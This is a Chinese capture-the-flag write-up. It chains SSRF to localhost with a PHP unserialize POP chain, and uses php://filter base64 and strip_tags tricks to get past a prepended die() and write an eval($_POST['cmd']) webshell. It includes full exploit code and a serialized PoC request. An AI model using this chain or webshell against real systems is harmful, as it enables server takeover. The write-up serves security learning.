访问首页没有任何东西

查看robots.txt,获得路径/star1.php

访问/star1.php,查看网页源码获得hint,从不安全的协议(HTTP),我家(127.0.0.1)推测需通过ssrf访问ser.php

源码分析:

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';
class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
} 

从源码可看出考点为php反序列化加死亡绕过。但是并未发现反序列上传利用的点。使用arjun扫描可能存在的注入点。

发现还存在一个注入点c,尝试输入一下反序列化

附上师傅们发的c参数逻辑
$c=$_GET['c']; 
    if(isset($c)){
        echo $x = unserialize($c);  //echo 的时候会触发 __toString() 魔术方法
    }
    else{
        echo "your hat is too black!";
    }

目的通过file_put_contents(this>file,this-> file,a);写入🐎

pop链:
GWHT的__toString()->Yongen的hasaki()
从源码中并未发现__toString()的利用点,但pop链必须用到该方法,猜测后端存在利用点。

死亡绕过方法:

使用php://filter协议有两种途径可绕过。

1.使用string.strip_tags字符串过滤器:去除html、PHP语言标签。

我们的目的是写入一个webshell,而写入的webshell也有PHP语言标签,如果使用strip_tags同样会被去除。php://filter允许使用多个过滤器,于是我们添加 convert.base64-decode 将webshell base64编码输入,convert.base64-decode会将我们的输入解码写如文件,而<?php die("nononon");?被string.strip_tags处理失效。

$test->hero->file='php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
//<?php @eval($_POST['cmd']);?>
$test->hero->text='PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=';

2.使用convert.base64-decode过滤器将解码输入。base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。中可识别字符串为phpdienononon(11个字符)base64解码时每4byte一组进行,需补3字符,此处补了aaa。

$test->hero->file='php://filter/write=convert.base64-decode/resource=shell.php';
$test->hero->text='aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=';

exp:

<?php

class GWHT{
    public $hero;
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;

    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
        @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}

$test = new GWHT();
$test->hero = new Yongen();
//string.strip_tags过滤器:过滤html,和php标签
//$test->hero->file='php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
//$test->hero->text='PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=';

//convert.base64-decode过滤器:将输入b64解密后传文件    '<?php die("nononon");?';  被b64解密后只省下[a-z0-9A-Z+]  及phpdienonon  11个字符,
//b64解密  4个byte(字节)一组 所以需要添加3个aaa

//b64解密相对于如下代码
//$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
//base64_decode($_GET['txt']);
$test->hero->file='php://filter/write=convert.base64-decode/resource=shell.php';
$test->hero->text='aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=';
var_dump(serialize($test));

poc:

path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:59:"php://filter/write=convert.base64-decode/resource=shell.php";s:4:"text";s:43:"aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=";}}